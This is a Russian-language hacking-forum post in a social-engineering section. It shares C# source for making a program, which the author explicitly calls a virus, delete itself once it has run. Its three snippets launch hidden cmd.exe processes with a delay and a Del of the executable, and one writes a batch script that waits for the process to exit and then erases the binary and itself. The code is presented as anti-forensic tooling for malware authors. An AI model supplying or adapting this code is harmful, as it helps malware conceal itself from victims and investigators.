Загрузка...

Исходник - Само-удаление программы(для вируса) C#

Тема в разделе Социальная инженерия создана пользователем alsoyka 31 окт 2017. (поднята 30 окт 2017) 840 просмотров

  1. alsoyka
    alsoyka Автор темы 31 окт 2017 131 22 окт 2016
    Никто не хочет оставлять после себя какое-либо тело от вашей программы(вируса)
    поэтому мы сделаем самоудаление программы после окончания всех ею функций!)
    Пользуемся!!

    Для формы:

    Код
    ProcessStartInfo Flash = new ProcessStartInfo();
    Flash.Arguments = "/C choice /C Y /N /D Y /T 3 & Del" + Application.ExecutablePath; Flash.WindowStyle = ProcessWindowStyle.Hidden; Flash.CreateNoWindow = true; Flash.FileName = "cmd.exe";Process.Start(Flash);
    Process.GetCurrentProcess().Kill();
    Для консоли:
    Код
    ProcessStartInfo Flash = new ProcessStartInfo();

    Flash.Arguments = "/C choice /C Y /N /D Y /T 3 &
    Del \"" + (new FileInfo((new Uri(Assembly.GetExecutingAssembly().CodeBase)).LocalPath)).Name + "\""; Flash.WindowStyle = ProcessWindowStyle.Hidden; Flash.CreateNoWindow = true; Flash.FileName = "cmd.exe"; Process.Start(Flash).Dispose();
    Process.GetCurrentProcess().Kill();

    Так же можно с помощью скрипта:

    Код
    public static void InitiateSelfDestructSequence()

    {
    string batchScriptName = "BatchScript.bat";
    using (StreamWriter writer = File.AppendText(batchScriptName))
    {
    writer.WriteLine(":Loop");
    writer.WriteLine("Tasklist /fi \"PID eq " + Process.GetCurrentProcess().Id.ToString() + "\" | find \":\"");
    writer.WriteLine("if Errorlevel 1 (");
    writer.WriteLine(" Timeout /T 1 /Nobreak");
    writer.WriteLine(" Goto Loop");
    writer.WriteLine(")");
    writer.WriteLine("Del \"" + (new FileInfo((new Uri(Assembly.GetExecutingAssembly().CodeBase)).LocalPath)).Name + "\"");
    }
    Process.Start(new ProcessStartInfo() { Arguments = "/C " + batchScriptName + " & Del " + batchScriptName, WindowStyle = ProcessWindowStyle.Hidden, CreateNoWindow = true, FileName = "cmd.exe" });
    }

    GL HF
     
    Этот материал оказался полезным?
    Вы можете отблагодарить автора темы путем перевода средств на баланс
    Отблагодарить автора
Загрузка...
Top